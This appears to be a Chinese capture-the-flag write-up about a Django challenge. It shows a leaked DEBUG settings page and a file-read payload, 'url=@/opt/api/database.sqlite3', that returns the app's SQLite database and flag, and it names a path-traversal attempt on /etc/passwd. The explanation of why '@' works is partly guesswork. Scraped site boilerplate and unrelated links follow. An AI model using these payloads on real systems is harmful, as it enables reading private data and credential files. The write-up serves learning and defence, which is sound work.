class="code"><pre>31449600</pre></td></tr><tr><td>CSRF_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>CSRF_COOKIE_HTTPONLY</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_COOKIE_NAME</td><td class="code"><pre>u&#39;csrftoken&#39;</pre></td></tr><tr><td>CSRF_COOKIE_PATH</td><td class="code"><pre>u&#39;/&#39;</pre></td></tr><tr><td>CSRF_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_FAILURE_VIEW</td><td class="code"><pre>u&#39;django.views.csrf.csrf_failure&#39;</pre></td></tr><tr><td>CSRF_HEADER_NAME</td><td class="code"><pre>u&#39;HTTP_X_CSRFTOKEN&#39;</pre></td></tr><tr><td>CSRF_TRUSTED_ORIGINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATABASES</td><td class="code"><pre>{&#39;default&#39;: {&#39;ATOMIC_REQUESTS&#39;: False,&#39;AUTOCOMMIT&#39;: True,&#39;CONN_MAX_AGE&#39;: 0,&#39;ENGINE&#39;: &#39;django.db.backends.sqlite3&#39;,&#39;HOST&#39;: &#39;&#39;,&#39;NAME&#39;: &#39;/opt/api/database.sqlite3&#39;,&#39;OPTIONS&#39;: {},&#39;PASSWORD&#39;: u&#39;********************&#39;,&#39;PORT&#39;: &#39;&#39;,&#39;TEST&#39;: {&#39;CHARSET&#39;: None,&#39;COLLATION&#39;: None,&#39;MIRROR&#39;: None,&#39;NAME&#39;: None},&#39;TIME_ZONE&#39;: None,&#39;USER&#39;: &#39;&#39;}}</pre></td></tr><tr><td>DATABASE_ROUTERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATA_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>DATA_UPLOAD_MAX_NUMBER_FIELDS</td><td class="code"><pre>1000</pre></td></tr><tr><td>DATETIME_FORMAT</td><td class="code"><pre>u&#39;N j, Y, P&#39;</pre></td></tr><tr><td>DATETIME_INPUT_FORMATS</td><td class="code"><pre>[u&#39;%Y-%m-%d %H:%M:%S&#39;,u&#39;%Y-%m-%d %H:%M:%S.%f&#39;,u&#39;%Y-%m-%d %H:%M&#39;,u&#39;%Y-%m-%d&#39;,u&#39;%m/%d/%Y %H:%M:%S&#39;,u&#39;%m/%d/%Y %H:%M:%S.%f&#39;,u&#39;%m/%d/%Y %H:%M&#39;,u&#39;%m/%d/%Y&#39;,u&#39;%m/%d/%y %H:%M:%S&#39;,u&#39;%m/%d/%y %H:%M:%S.%f&#39;,u&#39;%m/%d/%y %H:%M&#39;,u&#39;%m/%d/%y&#39;]</pre></td></tr><tr><td>DATE_FORMAT</td><td class="code"><pre>u&#39;N j, Y&#39;</pre></td></tr><tr><td>DATE_INPUT_FORMATS</td><td class="code"><pre>[u&#39;%Y-%m-%d&#39;,u&#39;%m/%d/%Y&#39;,u&#39;%m/%d/%y&#39;,u&#39;%b %d %Y&#39;,u&#39;%b %d, %Y&#39;,u&#39;%d %b %Y&#39;,u&#39;%d %b, %Y&#39;,u&#39;%B %d %Y&#39;,u&#39;%B %d, %Y&#39;,u&#39;%d %B %Y&#39;,u&#39;%d %B, %Y&#39;]</pre></td></tr><tr><td>DEBUG</td><td class="code"><pre>True</pre></td></tr><tr><td>DEBUG_PROPAGATE_EXCEPTIONS</td><td class="code"><pre>False</pre></td></tr><tr><td>DECIMAL_SEPARATOR</td><td class="code"><pre>u&#39;.&#39;</pre></td></tr><tr><td>DEFAULT_CHARSET</td><td class="code"><pre>u&#39;utf-8&#39;</pre></td></tr><tr><td>DEFAULT_CONTENT_TYPE</td><td class="code"><pre>u&#39;text/html&#39;</pre></td></tr><tr><td>DEFAULT_EXCEPTION_REPORTER_FILTER</td><td class="code"><pre>u&#39;django.views.debug.SafeExceptionReporterFilter&#39;</pre></td></tr><tr><td>DEFAULT_FILE_STORAGE</td><td class="code"><pre>u&#39;django.core.files.storage.FileSystemStorage&#39;</pre></td></tr><tr><td>DEFAULT_FROM_EMAIL</td><td class="code"><pre>u&#39;webmaster@localhost&#39;</pre></td></tr><tr><td>DEFAULT_INDEX_TABLESPACE</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>DEFAULT_TABLESPACE</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>DISALLOWED_USER_AGENTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>EMAIL_BACKEND</td><td class="code"><pre>u&#39;django.core.mail.backends.smtp.EmailBackend&#39;</pre></td></tr><tr><td>EMAIL_HOST</td><td class="code"><pre>u&#39;localhost&#39;</pre></td></tr><tr><td>EMAIL_HOST_PASSWORD</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>EMAIL_HOST_USER</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>EMAIL_PORT</td><td class="code"><pre>25</pre></td></tr><tr><td>EMAIL_SSL_CERTFILE</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_SSL_KEYFILE</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>EMAIL_SUBJECT_PREFIX</td><td class="code"><pre>u&#39;[Django] &#39;</pre></td></tr><tr><td>EMAIL_TIMEOUT</td><td class="code"><pre>None</pre></td></tr><tr><td>EMAIL_USE_SSL</td><td class="code"><pre>False</pre></td></tr><tr><td>EMAIL_USE_TLS</td><td class="code"><pre>False</pre></td></tr><tr><td>FILE_CHARSET</td><td class="code"><pre>u&#39;utf-8&#39;</pre></td></tr><tr><td>FILE_UPLOAD_DIRECTORY_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_HANDLERS</td><td class="code"><pre>[u&#39;django.core.files.uploadhandler.MemoryFileUploadHandler&#39;,u&#39;django.core.files.uploadhandler.TemporaryFileUploadHandler&#39;]</pre></td></tr><tr><td>FILE_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>FILE_UPLOAD_PERMISSIONS</td><td class="code"><pre>None</pre></td></tr><tr><td>FILE_UPLOAD_TEMP_DIR</td><td class="code"><pre>None</pre></td></tr><tr><td>FIRST_DAY_OF_WEEK</td><td class="code"><pre>0</pre></td></tr><tr><td>FIXTURE_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>FORCE_SCRIPT_NAME</td><td class="code"><pre>None</pre></td></tr><tr><td>FORMAT_MODULE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>IGNORABLE_404_URLS</td><td class="code"><pre>[]</pre></td></tr><tr><td>INSTALLED_APPS</td><td class="code"><pre>[&#39;django.contrib.admin&#39;,&#39;django.contrib.auth&#39;,&#39;django.contrib.contenttypes&#39;,&#39;django.contrib.sessions&#39;,&#39;django.contrib.messages&#39;,&#39;django.contrib.staticfiles&#39;,&#39;dnsapi&#39;]</pre></td></tr><tr><td>INTERNAL_IPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LANGUAGES</td><td class="code"><pre>[(u&#39;af&#39;, u&#39;Afrikaans&#39;),(u&#39;ar&#39;, u&#39;Arabic&#39;),(u&#39;ast&#39;, u&#39;Asturian&#39;),(u&#39;az&#39;, u&#39;Azerbaijani&#39;),(u&#39;bg&#39;, u&#39;Bulgarian&#39;),(u&#39;be&#39;, u&#39;Belarusian&#39;),(u&#39;bn&#39;, u&#39;Bengali&#39;),(u&#39;br&#39;, u&#39;Breton&#39;),(u&#39;bs&#39;, u&#39;Bosnian&#39;),(u&#39;ca&#39;, u&#39;Catalan&#39;),(u&#39;cs&#39;, u&#39;Czech&#39;),(u&#39;cy&#39;, u&#39;Welsh&#39;),(u&#39;da&#39;, u&#39;Danish&#39;),(u&#39;de&#39;, u&#39;German&#39;),(u&#39;dsb&#39;, u&#39;Lower Sorbian&#39;),(u&#39;el&#39;, u&#39;Greek&#39;),(u&#39;en&#39;, u&#39;English&#39;),(u&#39;en-au&#39;, u&#39;Australian English&#39;),(u&#39;en-gb&#39;, u&#39;British English&#39;),(u&#39;eo&#39;, u&#39;Esperanto&#39;),(u&#39;es&#39;, u&#39;Spanish&#39;),(u&#39;es-ar&#39;, u&#39;Argentinian Spanish&#39;),(u&#39;es-co&#39;, u&#39;Colombian Spanish&#39;),(u&#39;es-mx&#39;, u&#39;Mexican Spanish&#39;),(u&#39;es-ni&#39;, u&#39;Nicaraguan Spanish&#39;),(u&#39;es-ve&#39;, u&#39;Venezuelan Spanish&#39;),(u&#39;et&#39;, u&#39;Estonian&#39;),(u&#39;eu&#39;, u&#39;Basque&#39;),(u&#39;fa&#39;, u&#39;Persian&#39;),(u&#39;fi&#39;, u&#39;Finnish&#39;),(u&#39;fr&#39;, u&#39;French&#39;),(u&#39;fy&#39;, u&#39;Frisian&#39;),(u&#39;ga&#39;, u&#39;Irish&#39;),(u&#39;gd&#39;, u&#39;Scottish Gaelic&#39;),(u&#39;gl&#39;, u&#39;Galician&#39;),(u&#39;he&#39;, u&#39;Hebrew&#39;),(u&#39;hi&#39;, u&#39;Hindi&#39;),(u&#39;hr&#39;, u&#39;Croatian&#39;),(u&#39;hsb&#39;, u&#39;Upper Sorbian&#39;),(u&#39;hu&#39;, u&#39;Hungarian&#39;),(u&#39;ia&#39;, u&#39;Interlingua&#39;),(u&#39;id&#39;, u&#39;Indonesian&#39;),(u&#39;io&#39;, u&#39;Ido&#39;),(u&#39;is&#39;, u&#39;Icelandic&#39;),(u&#39;it&#39;, u&#39;Italian&#39;),(u&#39;ja&#39;, u&#39;Japanese&#39;),(u&#39;ka&#39;, u&#39;Georgian&#39;),(u&#39;kk&#39;, u&#39;Kazakh&#39;),(u&#39;km&#39;, u&#39;Khmer&#39;),(u&#39;kn&#39;, u&#39;Kannada&#39;),(u&#39;ko&#39;, u&#39;Korean&#39;),(u&#39;lb&#39;, u&#39;Luxembourgish&#39;),(u&#39;lt&#39;, u&#39;Lithuanian&#39;),(u&#39;lv&#39;, u&#39;Latvian&#39;),(u&#39;mk&#39;, u&#39;Macedonian&#39;),(u&#39;ml&#39;, u&#39;Malayalam&#39;),(u&#39;mn&#39;, u&#39;Mongolian&#39;),(u&#39;mr&#39;, u&#39;Marathi&#39;),(u&#39;my&#39;, u&#39;Burmese&#39;),(u&#39;nb&#39;, u&#39;Norwegian Bokm\xe5l&#39;),(u&#39;ne&#39;, u&#39;Nepali&#39;),(u&#39;nl&#39;, u&#39;Dutch&#39;),(u&#39;nn&#39;, u&#39;Norwegian Nynorsk&#39;),(u&#39;os&#39;, u&#39;Ossetic&#39;),(u&#39;pa&#39;, u&#39;Punjabi&#39;),(u&#39;pl&#39;, u&#39;Polish&#39;),(u&#39;pt&#39;, u&#39;Portuguese&#39;),(u&#39;pt-br&#39;, u&#39;Brazilian Portuguese&#39;),(u&#39;ro&#39;, u&#39;Romanian&#39;),(u&#39;ru&#39;, u&#39;Russian&#39;),(u&#39;sk&#39;, u&#39;Slovak&#39;),(u&#39;sl&#39;, u&#39;Slovenian&#39;),(u&#39;sq&#39;, u&#39;Albanian&#39;),(u&#39;sr&#39;, u&#39;Serbian&#39;),(u&#39;sr-latn&#39;, u&#39;Serbian Latin&#39;),(u&#39;sv&#39;, u&#39;Swedish&#39;),(u&#39;sw&#39;, u&#39;Swahili&#39;),(u&#39;ta&#39;, u&#39;Tamil&#39;),(u&#39;te&#39;, u&#39;Telugu&#39;),(u&#39;th&#39;, u&#39;Thai&#39;),(u&#39;tr&#39;, u&#39;Turkish&#39;),(u&#39;tt&#39;, u&#39;Tatar&#39;),(u&#39;udm&#39;, u&#39;Udmurt&#39;),(u&#39;uk&#39;, u&#39;Ukrainian&#39;),(u&#39;ur&#39;, u&#39;Urdu&#39;),(u&#39;vi&#39;, u&#39;Vietnamese&#39;),(u&#39;zh-hans&#39;, u&#39;Simplified Chinese&#39;),(u&#39;zh-hant&#39;, u&#39;Traditional Chinese&#39;)]</pre></td></tr><tr><td>LANGUAGES_BIDI</td><td class="code"><pre>[u&#39;he&#39;, u&#39;ar&#39;, u&#39;fa&#39;, u&#39;ur&#39;]</pre></td></tr><tr><td>LANGUAGE_CODE</td><td class="code"><pre>&#39;en-us&#39;</pre></td></tr><tr><td>LANGUAGE_COOKIE_AGE</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>LANGUAGE_COOKIE_NAME</td><td class="code"><pre>u&#39;django_language&#39;</pre></td></tr><tr><td>LANGUAGE_COOKIE_PATH</td><td class="code"><pre>u&#39;/&#39;</pre></td></tr><tr><td>LOCALE_PATHS</td><td class="code"><pre>[]</pre></td></tr><tr><td>LOGGING</td><td class="code"><pre>{}</pre></td></tr><tr><td>LOGGING_CONFIG</td><td class="code"><pre>u&#39;logging.config.dictConfig&#39;</pre></td></tr><tr><td>LOGIN_REDIRECT_URL</td><td class="code"><pre>u&#39;/accounts/profile/&#39;</pre></td></tr><tr><td>LOGIN_URL</td><td class="code"><pre>u&#39;/accounts/login/&#39;</pre></td></tr><tr><td>LOGOUT_REDIRECT_URL</td><td class="code"><pre>None</pre></td></tr><tr><td>MANAGERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>MEDIA_ROOT</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>MEDIA_URL</td><td class="code"><pre>u&#39;&#39;</pre></td></tr><tr><td>MESSAGE_STORAGE</td><td class="code"><pre>u&#39;django.contrib.messages.storage.fallback.FallbackStorage&#39;</pre></td></tr><tr><td>MIDDLEWARE</td><td class="code"><pre>[&#39;django.middleware.security.SecurityMiddleware&#39;,&#39;django.contrib.sessions.middleware.SessionMiddleware&#39;,&#39;django.middleware.common.CommonMiddleware&#39;,&#39;django.contrib.auth.middleware.AuthenticationMiddleware&#39;,&#39;django.contrib.messages.middleware.MessageMiddleware&#39;,&#39;django.middleware.clickjacking.XFrameOptionsMiddleware&#39;]</pre></td></tr><tr><td>MIDDLEWARE_CLASSES</td><td class="code"><pre>[u&#39;django.middleware.common.CommonMiddleware&#39;,u&#39;django.middleware.csrf.CsrfViewMiddleware&#39;]</pre></td></tr><tr><td>MIGRATION_MODULES</td><td class="code"><pre>{}</pre></td></tr><tr><td>MONTH_DAY_FORMAT</td><td class="code"><pre>u&#39;F j&#39;</pre></td></tr><tr><td>NUMBER_GROUPING</td><td class="code"><pre>0</pre></td></tr><tr><td>PASSWORD_HASHERS</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>PASSWORD_RESET_TIMEOUT_DAYS</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>PREPEND_WWW</td><td class="code"><pre>False</pre></td></tr><tr><td>ROOT_URLCONF</td><td class="code"><pre>&#39;api.urls&#39;</pre></td></tr><tr><td>SECRET_KEY</td><td class="code"><pre>u&#39;********************&#39;</pre></td></tr><tr><td>SECURE_BROWSER_XSS_FILTER</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_CONTENT_TYPE_NOSNIFF</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_INCLUDE_SUBDOMAINS</td><td class="code"><pre>False</pre></td></tr><tr><td>SECURE_HSTS_SECONDS</td><td class="code"><pre>0</pre></td></tr><tr><td>SECURE_PROXY_SSL_HEADER</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_REDIRECT_EXEMPT</td><td class="code"><pre>[]</pre></td></tr><tr><td>SECURE_SSL_HOST</td><td class="code"><pre>None</pre></td></tr><tr><td>SECURE_SSL_REDIRECT</td><td class="code"><pre>False</pre></td></tr><tr><td>SERVER_EMAIL</td><td class="code"><pre>u&#39;root@localhost&#39;</pre></td></tr><tr><td>SESSION_CACHE_ALIAS</td><td class="code"><pre>u&#39;default&#39;</pre></td></tr><tr><td>SESSION_COOKIE_AGE</td><td class="code"><pre>1209600</pre></td></tr><tr><td>SESSION_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_COOKIE_HTTPONLY</td><td class="code"><pre>True</pre></td></tr><tr><td>SESSION_COOKIE_NAME</td><td class="code"><pre>u&#39;sessionid&#39;</pre></td></tr><tr><td>SESSION_COOKIE_PATH</td><td class="code"><pre>u&#39;/&#39;</pre></td></tr><tr><td>SESSION_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_ENGINE</td><td class="code"><pre>u&#39;django.contrib.sessions.backends.db&#39;</pre></td></tr><tr><td>SESSION_EXPIRE_AT_BROWSER_CLOSE</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_FILE_PATH</td><td class="code"><pre>None</pre></td></tr><tr><td>SESSION_SAVE_EVERY_REQUEST</td><td class="code"><pre>False</pre></td></tr><tr><td>SESSION_SERIALIZER</td><td class="code"><pre>u&#39;django.contrib.sessions.serializers.JSONSerializer&#39;</pre></td></tr><tr><td>SETTINGS_MODULE</td><td class="code"><pre>&#39;api.settings&#39;</pre></td></tr><tr><td>SHORT_DATETIME_FORMAT</td><td class="code"><pre>u&#39;m/d/Y P&#39;</pre></td></tr><tr><td>SHORT_DATE_FORMAT</td><td class="code"><pre>u&#39;m/d/Y&#39;</pre></td></tr><tr><td>SIGNING_BACKEND</td><td class="code"><pre>u&#39;django.core.signing.TimestampSigner&#39;</pre></td></tr><tr><td>SILENCED_SYSTEM_CHECKS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_DIRS</td><td class="code"><pre>[]</pre></td></tr><tr><td>STATICFILES_FINDERS</td><td class="code"><pre>[u&#39;django.contrib.staticfiles.finders.FileSystemFinder&#39;,u&#39;django.contrib.staticfiles.finders.AppDirectoriesFinder&#39;]</pre></td></tr><tr><td>STATICFILES_STORAGE</td><td class="code"><pre>u&#39;django.contrib.staticfiles.storage.StaticFilesStorage&#39;</pre></td></tr><tr><td>STATIC_ROOT</td><td class="code"><pre>None</pre></td></tr><tr><td>STATIC_URL</td><td class="code"><pre>&#39;/static/&#39;</pre></td></tr><tr><td>TEMPLATES</td><td class="code"><pre>[{&#39;APP_DIRS&#39;: True,&#39;BACKEND&#39;: &#39;django.template.backends.django.DjangoTemplates&#39;,&#39;DIRS&#39;: [],&#39;OPTIONS&#39;: {&#39;context_processors&#39;: [&#39;django.template.context_processors.debug&#39;,&#39;django.template.context_processors.request&#39;,&#39;django.contrib.auth.context_processors.auth&#39;,&#39;django.contrib.messages.context_processors.messages&#39;]}}]</pre></td></tr><tr><td>TEST_NON_SERIALIZED_APPS</td><td class="code"><pre>[]</pre></td></tr><tr><td>TEST_RUNNER</td><td class="code"><pre>u&#39;django.test.runner.DiscoverRunner&#39;</pre></td></tr><tr><td>THOUSAND_SEPARATOR</td><td class="code"><pre>u&#39;,&#39;</pre></td></tr><tr><td>TIME_FORMAT</td><td class="code"><pre>u&#39;P&#39;</pre></td></tr><tr><td>TIME_INPUT_FORMATS</td><td class="code"><pre>[u&#39;%H:%M:%S&#39;, u&#39;%H:%M:%S.%f&#39;, u&#39;%H:%M&#39;]</pre></td></tr><tr><td>TIME_ZONE</td><td class="code"><pre>&#39;UTC&#39;</pre></td></tr><tr><td>USE_ETAGS</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_I18N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_L10N</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_THOUSAND_SEPARATOR</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_TZ</td><td class="code"><pre>True</pre></td></tr><tr><td>USE_X_FORWARDED_HOST</td><td class="code"><pre>False</pre></td></tr><tr><td>USE_X_FORWARDED_PORT</td><td class="code"><pre>False</pre></td></tr><tr><td>WSGI_APPLICATION</td><td class="code"><pre>&#39;api.wsgi.application&#39;</pre></td></tr><tr><td>X_FRAME_OPTIONS</td><td class="code"><pre>u&#39;SAMEORIGIN&#39;</pre></td></tr><tr><td>YEAR_MONTH_FORMAT</td><td class="code"><pre>u&#39;F Y&#39;</pre></td></tr></tbody></table></div><div id="explanation"><p>You're seeing this error because you have <code>DEBUG = True</code> in yourDjango settings file. Change that to <code>False</code>, and Django willdisplay a standard page generated by the handler for this status code.</p></div></body>
</html>

將網頁存儲為html進行訪問,便于觀察。直接搜索flag,沒有找到有用的信息
在這里插入圖片描述

搜索data,發現了database.sqlite3文件,flag大概率在里面,不然這個題目不會無緣無故的出現這個sqlite3
在這里插入圖片描述

獲取其他文件

根據網址里提供的'NAME': '/opt/api/database.sqlite3',我們調整get請求:url=@/opt/api/database.sqlite3,成功訪問該文件相關信息

在這里插入圖片描述

url=@/opt/api/database.sqlite3 中,@ 符號的作用是 利用 Django/Web 框架的文件讀取特性,具體原因如下:


1. @ 符號的常見用途

在 HTTP 請求或命令行工具(如 curl)中,@ 通常表示 從文件讀取內容。例如:

  • curl -X POST http://example.com -d @file.txt 表示上傳文件內容。
  • 在 Django 或其他 Web 框架中,@ 可能被解析為 文件路徑的前綴,觸發文件讀取操作。

2. 本題中的利用場景

根據題目描述,后端代碼的邏輯如下:

  1. 輸入驗證不嚴

    • 前端通過 GET 請求提交 url 參數(如 url=loli.club)。
    • 后端可能直接將該參數傳遞給文件操作函數(如 open()os.popen())。
  2. @ 觸發文件讀取

    • 當輸入 url=@/opt/api/database.sqlite3 時:
      • @ 符號可能被解析為 從路徑讀取文件 的指令。
      • 后端嘗試讀取 /opt/api/database.sqlite3 文件的內容,而非將其作為普通字符串處理。
  3. 繞過字符過濾

    • 題目中的正則表達式 ^[a-zA-Z0-9\-\./]+$ 允許 /.,因此 @/opt/api/database.sqlite3 可能被允許通過檢查。
    • @ 符號本身可能未被過濾,從而被后端解釋為文件讀取操作。

3. 為什么不用其他符號?

  • ../ 路徑穿越
    如果直接嘗試 url=../../../../etc/passwd,可能會被過濾或攔截。
  • file:// 協議
    某些環境下 file:// 會被禁用或轉義。
  • @ 的隱蔽性
    @ 符號在 URL 中較常見(如郵箱),可能不會被安全規則攔截。

4. 技術原理總結

  • 文件包含漏洞
    后端未對輸入進行嚴格校驗,直接將用戶輸入拼接到文件操作函數中。
  • @ 的魔法
    框架或底層庫(如 Python 的 open())可能將 @ 開頭的字符串視為文件路徑,而非普通數據。

5. 修復建議

如果這是真實場景,應:

  1. 禁止用戶輸入以 @ 或特殊符號開頭的路徑。
  2. 使用白名單校驗輸入(如只允許域名格式 example.com)。
  3. 避免直接將用戶輸入拼接到文件操作命令中。

關鍵點

@ 符號在此處的作用是 利用框架/語言特性強制觸發文件讀取,從而繞過常規的字符串處理邏輯。這是文件包含漏洞的一種巧妙利用方式。

轉換為網頁,在最后發現了flag

在這里插入圖片描述
答案:flag{yoooo_Such_A_G00D_@}

如果想用工具打開sqslite,必須將其保存為二進制文件,代碼如下:

data = 'SQLite format 3\x00\x04\x00\x01\x01\x00@  \x00...'  # 粘貼完整的字符串
with open('database.sqlite', 'wb') as f:f.write(data.encode('latin1'))  # 用latin1編碼保留原始字節

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/100281.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/100281.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/100281.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

(k8s)Kubernetes 資源控制器關系圖

Kubernetes 資源控制器關系圖 #mermaid-svg-da6tzgmJn70StNQM {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-da6tzgmJn70StNQM .error-icon{fill:#552222;}#mermaid-svg-da6tzgmJn70StNQM .error-text{fill:#55222…

模電基礎:場效應管

目錄 一、場效應管概述 二、結型場效應管&#xff1a;基礎場效應管 &#xff08;1&#xff09;基本結構&#xff1a;PN結導電溝道 &#xff08;2&#xff09;工作原理&#xff1a;耗盡區擠壓溝道從而控制電流 &#xff08;3&#xff09;特性曲線 1.轉移特性 2.輸出特性 …

開發安全利器:detect-secrets 敏感信息掃描工具實戰指南

在現代軟件開發流程中&#xff0c;代碼安全已成為不可忽視的重要環節。尤其是在 DevSecOps 的理念逐漸普及的今天&#xff0c;如何在開發早期就發現并消除潛在的安全隱患&#xff0c;成為每一個開發者和安全工程師必須面對的問題。其中&#xff0c;敏感信息泄露&#xff08;Sec…

數字經濟專業核心課程解析與職業發展指南

在數字經濟高速發展的時代&#xff0c;選擇一門與未來趨勢緊密關聯的專業至關重要。數字經濟專業作為新興交叉學科&#xff0c;既涵蓋傳統經濟理論&#xff0c;又融合了大數據、人工智能等前沿技術。想要在這一領域脫穎而出&#xff0c;考取權威證書是提升競爭力的有效途徑。其…

使用yolo11訓練航拍圖片微小目標AI-TOD檢測數據集無損壓縮版YOLO格式14018張8類別已劃分好訓練驗證集步驟和流程

【數據集介紹】我們基于公開的大規模航空圖像數據集構建了AI-TOD&#xff0c;這些數據集包括&#xff1a;DOTA-v1.5的訓練驗證集[1]、xView的訓練集[19]、VisDrone2018-Det的訓練驗證集[20]、Airbus Ship的訓練驗證集1以及DIOR的訓練驗證測試集[3]。這些數據集的詳細信息如下&a…

sward V2.0.6版本發布,支持OnlyOffice集成、文檔權限控制及歸檔等功能

1、版本更新日志新增新增目錄文檔權限控制新增新增知識庫、文檔歸檔功能集成OnlyOffice支持word文檔預覽、編輯新增MarkDown代碼塊根據語言展示不同樣式優化優化富文本在小屏幕操作調整優化部分界面展示效果優化知識庫圖片展示效果2、目錄與文檔權限控制默認情況下&#xff0c;…

多因子AI回歸揭示通脹-就業背離,黃金價格穩態區間的時序建模

摘要&#xff1a;本文通過構建包含通脹韌性、就業疲軟、貨幣政策預期及跨市場聯動的多因子量化模型&#xff0c;結合美國8月CPI超預期上行與初請失業金人數激增的動態數據&#xff0c;分析黃金價格的高位持穩機制&#xff0c;揭示就業市場對美聯儲降息預期的協同支撐效應。一、…

Java--多線程基礎知識(2)

一.多線程的中斷1.通過自定義的變量來作為標志位import java.util.Scanner;public class Demo1 {public static boolean flg false;public static void main(String[] args) throws InterruptedException {Thread t1 new Thread(()->{while (!flg){System.out.println(&qu…

Qit_計網筆記

第1章 概述1.1 計算機網絡在信息時代中的作用一、計算機網絡基礎概念&#xff08;一&#xff09;計算機網絡的定義定義&#xff1a;計算機網絡在信息時代中起到核心作用&#xff0c;實現了萬物聯網和人人用網的目標。&#xff08;二&#xff09;計算機網絡的特點信息時代特征&a…

【C++11】initializer_list列表初始化、右值引用和移動語義、可變參數模版等

目錄 前言 一、簡介一下C11 二、{}列表初始化 三、右值引用和移動語義 四、右值引用和移動語義的使用場景 五、右值引用和移動語義在傳參中的提效 六、引用折疊和完美轉發 七、可變參數模板 前言 本文主要介紹C11中新增的一些重要語法&#xff1a;包括initializer_list列表初…

MP3 ID3標簽中的數字流派代碼和文本值翻譯成的中文列表

將MP3 ID3標簽中的數字流派代碼和文本值翻譯成的中文列表&#xff1a;■ 數字代碼流派:0 布魯斯 (Blues)1 古典搖滾 (Classic Rock)2 鄉村音樂 (Country)3 舞曲 (Dance)4 迪斯科 (Disco)5 放克 (Funk)6 垃圾搖滾 (Grunge)7 嘻哈 (Hip-Hop)8 爵士樂 (Jazz)9 金屬樂 (M…

U8g2庫為XFP1116-07AY(128x64 OLED)實現菜單功能[ep:esp8266]

使用U8g2庫為XFP1116-07AY&#xff08;128x64 OLED&#xff09;實現菜單功能&#xff0c;核心是通過按鍵控制菜單切換、光標移動和選項選中&#xff0c;結合U8g2的繪圖/文本函數實現交互邏輯支持多級菜單&#xff08;主菜單→子菜單→功能執行&#xff09;&#xff0c;并兼容ES…

easy-dataset 框架綜合技術分析:面向領域特定 LLM 指令數據的合成

摘要 本報告對 easy-dataset 框架 進行全面技術剖析&#xff0c;該框架旨在解決大型語言模型&#xff08;LLM&#xff09;在特定領域應用中的核心瓶頸——高質量指令微調數據的稀缺性。隨著 LLM 技術發展&#xff0c;其應用能力不再僅依賴模型參數規模&#xff0c;而是更依賴通…

【開題答辯全過程】以 4s店汽車銷售系統為例,包含答辯的問題和答案

個人簡介一名14年經驗的資深畢設內行人&#xff0c;語言擅長Java、php、微信小程序、Python、Golang、安卓Android等開發項目包括大數據、深度學習、網站、小程序、安卓、算法。平常會做一些項目定制化開發、代碼講解、答辯教學、文檔編寫、也懂一些降重方面的技巧。感謝大家的…

測試中的Bug

文章目錄軟件測試的生命周期軟件測試的各個階段線上環境測試中的BUG描述測試BUGBUG的級別為啥要定義BUG的級別&#xff1f;BUG有哪些級別呢&#xff1f;BUG的生命周期測試與開發發生爭執怎么辦&#xff1f;測試與開發會發生啥爭執&#xff1f;為啥會發生這樣的爭執&#xff1f;…

aws共享一個鏡像并有畫圖功能

這樣可以方便的把系統安裝好&#xff0c;不會重復勞動了。 這個是frequi 單獨安裝 wget https://github.com/freqtrade/frequi/releases/download/2.0.7/freqUI.zip freqtrade install-ui pip install -U -r requirements-plot.txt 在AWS上把已經安裝好的環境共享給其他用戶。…

C語言---goto語句

文章目錄基本語法代碼示例goto 的常見用途&#xff08;盡管不推薦&#xff09;為什么 goto 聲名狼藉&#xff1f;&#xff08;goto的缺點&#xff09;如何避免使用 goto&#xff1f;&#xff08;替代方案&#xff09;goto 語句是一種無條件跳轉語句&#xff0c;它用于將程序的控…

Flask框架的簡單了解

&#x1f91f;致敬讀者 &#x1f7e9;感謝閱讀&#x1f7e6;笑口常開&#x1f7ea;生日快樂?早點睡覺 &#x1f4d8;博主相關 &#x1f7e7;博主信息&#x1f7e8;博客首頁&#x1f7eb;專欄推薦&#x1f7e5;活動信息 文章目錄1. 前言2. 簡介3. 核心特點4. 代碼實例5. 主要…

——貪心算法——

